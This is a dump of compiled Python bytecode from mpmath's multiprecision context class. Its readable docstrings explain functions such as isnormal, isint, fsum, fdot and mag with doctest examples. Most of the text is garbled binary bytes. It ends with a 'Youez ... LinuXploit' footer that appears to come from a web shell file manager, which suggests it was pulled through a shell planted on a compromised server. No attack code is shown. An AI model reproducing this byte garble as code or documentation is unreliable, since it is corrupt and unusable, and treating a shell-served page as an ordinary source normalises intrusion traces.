        complex number *x* is considered "normal" if its magnitude is
        normal::

            >>> from mpmath import *
            >>> isnormal(3)
            True
            >>> isnormal(0)
            False
            >>> isnormal(inf); isnormal(-inf); isnormal(nan)
            False
            False
            False
            >>> isnormal(0+0j)
            False
            >>> isnormal(0+3j)
            True
            >>> isnormal(mpc(2,nan))
            False
        rorr5z"isnormal() needs a number as input)r��boolror5rr�rr[r�r��isnormalr�)rir�r�r��	re_normal�	im_normals      rdr�zPythonMPContext.isnormal�s���0�1�g�������
�#�#��1�g���W�W�F�B���R��U��I��R��U��I��U�{�9�,��U�{�9�,��*��*��a��#�z�!�X�\�\�'B���7�N��K�K��N���1�g��'�!�W�"5��<�<��?�"��<�=�=rfc�V�t|t�ryt|d�r0|jx\}}}}}t	|xr|dk\xs	|t
k(�St|d�rZ|j\}}	|\}
}}}
|	\}}}}|xr|dk\xs	|t
k(}|r|xr|dk\xs	|	t
k(}|xr|S|xr	|	t
k(St|tj�r|j\}}||zdk(S|j|�}t|d�st|d�r|j||�Std��)a

        Return *True* if *x* is integer-valued; otherwise return
        *False*::

            >>> from mpmath import *
            >>> isint(3)
            True
            >>> isint(mpf(3))
            True
            >>> isint(3.2)
            False
            >>> isint(inf)
            False

        Optionally, Gaussian integers can be checked for::

            >>> isint(3+0j)
            True
            >>> isint(3+2j)
            False
            >>> isint(3+2j, gaussian=True)
            True

        Trorur5zisint() needs a number as input)
r�rr�ror�rr5r[r�r�r��isintr�)rir��gaussianr�r�r�r��xvalr�r��rsign�rman�rexp�rbc�isign�iman�iexp�ibc�re_isint�im_isintr�r�s                      rdr�zPythonMPContext.isints3��2�a��#���1�g��()���/��D�#�s�B����)����;�d�e�m�<�<��1�g���W�W�F�B��%'�"�E�4��s�%'�"�E�4��s��*����:�r�U�{�H�� �.�T�Q�Y�>�2��;���,�H�,��+��e��+��a����&��7�7�D�A�q��q�5�A�:���K�K��N���1�g��'�!�W�"5��9�9�Q��)�)��9�:�:rfc��|j\}}g}g}|D�]o}dx}	}
t|d�r
|j}	nht|d�r|j\}	}
nL|j	|�}t|d�r
|j}	n"t|d�r|j\}	}
nt
�|
r�|rq|r7|j
t|	|	��|j
t|
|
����t|	|
fd|dz�\}	}
|j
|	�|j
|
���|r|j
t|	|
f|����|j
|	�|j
|
���C|r
t|	|	�}	n
|rt|	�}	|j
|	���rt||||�}|r |j|t|||�f�}|S|j|�}|S)aX
        Calculates a sum containing a finite number of terms (for infinite
        series, see :func:`~mpmath.nsum`). The terms will be converted to
        mpmath numbers. For len(terms) > 2, this function is generally
        faster and produces more accurate results than the builtin
        Python function :func:`sum`.

            >>> from mpmath import *
            >>> mp.dps = 15; mp.pretty = False
            >>> fsum([1, 2, 0.5, 7])
            mpf('10.5')

        With squared=True each term is squared, and with absolute=True
        the absolute value of each term is used.
        ruror5rt�
)rxr�ror5r�ra�appendr'rKr?r"r5ror�)ri�terms�absolute�squaredrqr�r
r�term�reval�imvalr�s            rd�fsumzPythonMPContext.fsum>s��� �&�&�	��c������!	#�D���E�E��t�W�%��
�
����w�'�#�z�z���u��{�{�4�(���4��)� �J�J�E��T�7�+�#'�:�:�L�E�5�-�-�������G�E�%�$8�9����G�E�%�$8�9�'2�E�%�=��4��7�'K���u����E�*����E�*���K�K���u�
�t� <�=��K�K��&��K�K��&��#�E�5�1�E��#�E�N�E����E�"�C!	#�D
�D�$��X�.������a���t�S�!9�:�;�A������Q��A��rfNc	��|�t||�}|j\}}g}g}t}|j|jf}	|D�]�\}
}t|
�|	vr|j
|
�}
t|�|	vr|j
|�}||
d�}||d�}
|r2|
r0|jt|
j|j����||
d�}||d�}|ra|r_|
j}|j\}}|rt|�}|jt||��|jt||����|
rU|rS|
j\}}|j}|jt||��|jt||����U|r�|r�|
j\}}|j\}}|rt|�}|jt||��|jtt||���|jt||��|jt||�����t�t|||�}|r |j|t|||�f�}|S|j|�}|S)a.
        Computes the dot product of the iterables `A` and `B`,

        .. math ::

            \sum_{k=0} A_k B_k.

        Alternatively, :func:`~mpmath.fdot` accepts a single iterable of pairs.
        In other words, ``fdot(A,B)`` and ``fdot(zip(A,B))`` are equivalent.
        The elements are automatically converted to mpmath numbers.

        With ``conjugate=True``, the elements in the second vector
        will be conjugated:

        .. math ::

            \sum_{k=0} A_k \overline{B_k}

        **Examples**

            >>> from mpmath import *
            >>> mp.dps = 15; mp.pretty = False
            >>> A = [2, 1.5, 3]
            >>> B = [1, -1, 2]
            >>> fdot(A, B)
            mpf('6.5')
            >>> list(zip(A, B))
            [(2, 1), (1.5, -1), (3, 2)]
            >>> fdot(_)
            mpf('6.5')
            >>> A = [2, 1.5, 3j]
            >>> B = [1+j, 3, -1-j]
            >>> fdot(A, B)
            mpc(real='9.5', imag='-1.0')
            >>> fdot(A, B, conjugate=True)
            mpc(real='3.5', imag='-5.0')

        ror5)�ziprxr�r7r�rzr�r�r'ror5r$rar5ror�)ri�A�Brrqr�r
r�hasattr_r�r�r��a_real�b_real�	a_complex�	b_complex�aval�bre�bim�are�aim�bvalr�s                       rd�fdotzPythonMPContext.fdotzs7��N
�=��A�q�	�A��&�&�	��c����������#�'�'�"���!	*�D�A�q��A�w�e�#����Q��Q��A�w�e�#����Q��Q��a��)�F��a��)�F��&����G�A�G�G�Q�W�W�5�6�� ��G�,�I� ��G�,�I��)��w�w���7�7���S��!�#�,�C����G�D�#�.�/����G�D�#�.�/��I��7�7���S��w�w�����G�C��.�/����G�C��.�/��y��7�7���S��7�7���S��!�#�,�C����G�C��-�.����G�G�C��$5�6�7����G�C��-�.����G�C��-�.�)�)�C!	*�D
�D�$��$������a���t�S�!9�:�;�A������Q��A��rfc����������fd�}�jdd�tjj�d|z�|_|S)aO
        Given a low-level mpf_ function, and optionally similar functions
        for mpc_ and mpi_, defines the function as a context method.

        It is assumed that the return type is the same as that of
        the input; the exception is that propagation from mpf to mpc is possible
        by raising ComplexResult.

        c�\��t|��jvr�j|�}�j\}}|r6|j	d|�}d|vrt|d�}|j	d|�}t
|d�r$	�j�|j||��St
|d�r#�j�|j||��St��dt|�����#t$r9�jr��j�|jtf||��cYSwxYw)Nrqrrrsror5z of a )rzr�r�rxryrr�r�rorrsrorr5ra)r�r�rqrsri�mpc_f�mpf_frs    ����rd�fz/PythonMPContext._wrap_libmp_function.<locals>.f�s����A�w�c�i�i�'��K�K��N�� �/�/�N�D�(���z�z�&�$�/���F�?�&�v�e�}�5�D�!�:�:�j�(�;���q�'�"�Q��<�<��a�g�g�t�X�(F�G�G���G�$��|�|�E�!�'�'�4��$B�C�C�%�d�D��G�&D�E�E��%�Q��'�'���<�<��q�w�w��.>��h�(O�P�P�	Q�s�>"C)�)?D+�*D+rvNzComputes the %s of x)rgr\�__dict__ryrj)rir�r��mpi_f�docr�rs```   @rd�_wrap_libmp_functionz$PythonMPContext._wrap_libmp_function�s@���	F�(�~�~�a�b�!��!�*�*�.�.�t�5K�c�5Q�R��	��rfc���|r�fd�}n�}tjj|�j�|_t	|||�y)Nc����|j}|D�cgc]
}||���}}|j}	|xjdz
c_�|g|��i|��}||_|�Scc}w#||_wxYw)Nr�)r�rq)rirr�r�r�rq�retvalr�s       �rd�	f_wrappedz0PythonMPContext._wrap_specfun.<locals>.f_wrapped�sp����+�+��,0�1�q���
�1��1��x�x��$��H�H��N�H��s�4�T�4�V�4�F�#�C�H��w���2�� $�C�H�s�A�!A � 	A))r\r�ryrj�setattr)rbrr��wrapr�s  `  rd�
_wrap_specfunzPythonMPContext._wrap_specfun�s=����	
��I�)�2�2�6�6�t�Q�Y�Y�G�	����T�9�%rfc�t�t|d�r|j\}}|tk7�r&|dfSt|d�r|j}�nt	|�t
vr
t
|�dfSd}t|t�r|\}}nZt|d�r|j\}}n>t|t�r.d|vr*|jd�\}}t
|�}t
|�}|� |zs||zdfS|j||�dfS|j|�}t|d�r|j\}}|tk7r!|dfSt|d�r
|j}n|dfS|\}}}}	|r^|d	k\rD|r|}|d
k\rt
|�|zdfS|d	k\r%t
|�d|z}}|j||�dfS|j|�}|dfS|sy
|dfS)Nr5�Cro�Zr��/�Q�U���rur�R)rur�)r�r5rrorzrr�r�r|r�r�splitr�r�r�)
rir�r�r�r�r�r�r�r�r�s
          rd�_convert_paramzPythonMPContext._convert_params����1�g���G�G�E�A�r��U�{��#�v�
�
�Q��
 ����A��A�w�)�#��1�v�s�{�"��A��!�U�#����1���G�$��w�w���1��A�z�*�s�a�x��w�w�s�|���1���F����F���}��1�u���6�3�;�&��w�w�q��|�S�(�(����A��A��q�'�"������2���;��c�6�M���G�$��G�G���#�v�
����c�3����b�y���$�C��!�8��s�8�s�?�C�/�/��"�9��s�8�a�3�$�i�q�A��7�7�1�Q�<��,�,����Q��A��c�6�M����c�6�Mrfc��|\}}}}|r||zS|tk(r|jS|tk(s	|tk(r|jS|j
Sr`)r�ninfrr �inf�nan)rir�r�r�r�r�s      rd�_mpf_magzPythonMPContext._mpf_mag7sK�����c�3����r�6�M���:��8�8�O���9��U�
��7�7�N��w�w�rfc���t|d�r|j|j�St|d�rp|j\}}|tk(r|j|�S|tk(r|j|�Sdt|j|�|j|��zSt
|t�r"|rtt|��S|jSt
|tj�r@|j\}}|r#dtt|��zt|�z
S|jS|j|�}t|d�st|d�r|j|�St!d��)a�
        Quick logarithmic magnitude estimate of a number. Returns an
        integer or infinity `m` such that `|x| <= 2^m`. It is not
        guaranteed that `m` is an optimal bound, but it will never
        be too large by more than 2 (and probably not more than 1).

        **Examples**

            >>> from mpmath import *
            >>> mp.pretty = True
            >>> mag(10), mag(10.0), mag(mpf(10)), int(ceil(log(10,2)))
            (4, 4, 4, 4)
            >>> mag(10j), mag(10+10j)
            (4, 5)
            >>> mag(0.01), int(ceil(log(0.01,2)))
            (-6, -6)
            >>> mag(0), mag(inf), mag(-inf), mag(nan)
            (-inf, +inf, +inf, nan)

        ror5rzrequires an mpf/mpc)r�r�ror5rrvr�rr6�absr�r[r�r�r��magr�)rir�rBrCr�r�s      rdr�zPythonMPContext.magAs'��*�1�g���<�<����(�(�
�Q��
 ��7�7�D�A�q��E�z��|�|�A��&��E�z��|�|�A��&��S����a��#�,�,�q�/�:�:�:�
��9�
%����A��'�'��8�8�O�
��8�<�<�
(��7�7�D�A�q���8�C��F�+�+�h�q�k�9�9��8�8�O����A��A��q�'�"�g�a��&9��w�w�q�z�!�� 5�6�6rf)T)F)FF)NF)NNz<no doc>)rgrhrirjr�rortryr{rrqrrr�r�r�r�r�r�r�r�r�r
r�r�r�r�rlrfrdrereEs���
#��
�
!�
"�"��)�9�5�D�
�'��
2�C�01�d
=�;�8;�@&>�P-;�^:�xU�n �F�&��&�"/�b�,7rfreruN)r&r&r&)}�
libmp.backendrr�libmprrrrr	r
rrr
rrrrrrrrrrrrrrrrrrr r!r"r#r$r%r&r'r(r)r*r+r,r-r.r/r0r1r2r3r4r5r6r7r8r9r:r;r<r=r>r?r@rArBrCrDrErFrGrHrIrJrKrLrMrNrOrPrQrRrSrTrUrVrWrXrYrZr&r[r\r'rer{r^rnr�
return_mpf�
return_mpc�mpf_pow_samerr�rrrr r!r"rar]rbr�rcr$r4r�r�rer��Complex�register�Real�ImportErrorrlrfrd�<module>r�sx��-������������������������.���n�n��"��"�A)�9�A)�F�
�<=�
�
<�
��:�������*�9�;���
��/�*�<�:�Z�G�3�j�@�B���
��/�*�<�:�Z�G�8�:�E�G���
��/�*�<�4�z�A�3�j�@�B���
��/�*�<�:�Z�G�3�j�@�B���
��/�*�<�:�Z�G�1�3���
���4�z�A�8�:�E�G���
����
�����
��<�<����M�M���J��J�:Z:�9�Z:�z�$��
�h7�f�h7�b	���O�O���T�"��L�L���$����	��	�s�:I�I	�I	

Youez - 2016 - github.com/yon3zu
LinuXploit